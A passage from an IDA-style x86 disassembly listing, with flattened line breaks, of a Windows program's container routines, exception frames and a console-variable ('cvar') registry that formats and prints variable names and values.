sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 5DCh nop call near ptr 2850369h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea 